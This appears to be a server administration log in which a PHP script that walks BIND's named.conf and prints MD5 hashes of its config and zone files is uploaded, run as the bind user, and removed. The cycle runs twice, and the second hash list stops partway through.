MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:43:14: Establishing a connection
2026-04-25 10:43:14: 

PUT: /tmp/pkp856178

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:43:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp856178; rm /tmp/pkp856178'

2026-04-25 10:43:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:43:16: Establishing a connection
2026-04-25 10:43:16: 

PUT: /tmp/pkp203369

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:43:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp203369; rm /tmp/pkp203369'

2026-04-25 10:43:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
